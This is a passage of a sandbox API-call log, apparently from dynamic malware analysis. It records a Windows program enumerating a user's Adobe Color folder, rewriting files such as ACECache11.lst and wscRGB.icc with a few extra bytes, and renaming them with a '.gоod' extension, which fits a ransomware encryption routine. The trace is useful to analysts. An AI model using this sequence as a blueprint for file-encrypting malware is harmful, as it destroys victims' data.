lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0148.127] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0148.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0148.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0148.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0148.128] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.128] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.128] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0148.128] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0148.128] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.128] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0148.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0148.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", lpFilePart=0x0) returned 0x38 [0148.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebe10) returned 1 [0148.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), fInfoLevelId=0x0, lpFileInformation=0x37756d8 | out: lpFileInformation=0x37756d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0148.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebdd0) returned 1 [0148.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", nBufferLength=0x105, lpBuffer=0x1f6eb7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", lpFilePart=0x0) returned 0x38 [0148.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebcc0) returned 1 [0148.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0148.130] GetFileType (hFile=0x804) returned 0x1 [0148.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc30) returned 1 [0148.130] GetFileType (hFile=0x804) returned 0x1 [0148.130] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1f6ebe68 | out: lpFileSizeHigh=0x1f6ebe68*=0x0) returned 0x480 [0148.130] ReadFile (in: hFile=0x804, lpBuffer=0x3775dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebd98, lpOverlapped=0x0 | out: lpBuffer=0x3775dd0*, lpNumberOfBytesRead=0x1f6ebd98*=0x480, lpOverlapped=0x0) returned 1 [0148.131] CloseHandle (hObject=0x804) returned 1 [0148.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", nBufferLength=0x105, lpBuffer=0x1f6eb7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", lpFilePart=0x0) returned 0x38 [0148.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebcc0) returned 1 [0148.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.929] GetFileType (hFile=0x7fc) returned 0x1 [0148.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc30) returned 1 [0148.929] GetFileType (hFile=0x7fc) returned 0x1 [0148.929] WriteFile (in: hFile=0x7fc, lpBuffer=0x389c4d0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x1f6ebca8, lpOverlapped=0x0 | out: lpBuffer=0x389c4d0*, lpNumberOfBytesWritten=0x1f6ebca8*=0x490, lpOverlapped=0x0) returned 1 [0148.930] CloseHandle (hObject=0x7fc) returned 1 [0148.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", lpFilePart=0x0) returned 0x38 [0148.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.gоod", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.gоod", lpFilePart=0x0) returned 0x3d [0148.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebdd0) returned 1 [0148.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), fInfoLevelId=0x0, lpFileInformation=0x1f6ebeb0 | out: lpFileInformation=0x1f6ebeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x54fbd1dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0148.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebd90) returned 1 [0148.930] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst.gоod")) returned 1 [0148.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0148.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0148.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0148.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0148.932] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.932] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0148.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0148.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb630) returned 1 [0148.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x1f6eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0148.933] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x1f6eb350 | out: lpFindFileData=0x1f6eb350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0148.933] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.933] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0148.933] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0148.933] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0148.933] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0148.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0148.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0148.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0148.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0148.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x38ab8b8 | out: lpFileInformation=0x38ab8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0)) returned 1 [0148.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0148.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0148.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0148.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.934] GetFileType (hFile=0x7fc) returned 0x1 [0148.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0148.934] GetFileType (hFile=0x7fc) returned 0x1 [0148.934] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0148.934] ReadFile (in: hFile=0x7fc, lpBuffer=0x38abca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x38abca0*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0148.936] CloseHandle (hObject=0x7fc) returned 1 [0148.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0148.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0148.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.936] GetFileType (hFile=0x7fc) returned 0x1 [0148.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0148.936] GetFileType (hFile=0x7fc) returned 0x1 [0148.936] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x102a0 [0148.936] WriteFile (in: hFile=0x7fc, lpBuffer=0x38acf20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x38acf20*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0148.937] CloseHandle (hObject=0x7fc) returned 1 [0148.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0148.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0148.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.938] GetFileType (hFile=0x7fc) returned 0x1 [0148.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0148.938] GetFileType (hFile=0x7fc) returned 0x1 [0148.938] ReadFile (in: hFile=0x7fc, lpBuffer=0x38af1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x38af1c8*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0150.942] CloseHandle (hObject=0x7fc) returned 1 [0150.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0150.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0150.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0150.943] GetFileType (hFile=0x7fc) returned 0x1 [0150.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0150.943] GetFileType (hFile=0x7fc) returned 0x1 [0150.943] WriteFile (in: hFile=0x7fc, lpBuffer=0x374b790*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x374b790*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0150.944] CloseHandle (hObject=0x7fc) returned 1 [0150.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", lpFilePart=0x0) returned 0x3d [0150.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.gоod", lpFilePart=0x0) returned 0x42 [0150.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0150.944] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x562efc31, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x102b0)) returned 1 [0150.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0150.944] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.gоod")) returned 1 [0150.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", lpFilePart=0x0) returned 0x3c [0150.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0150.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), fInfoLevelId=0x0, lpFileInformation=0x3870198 | out: 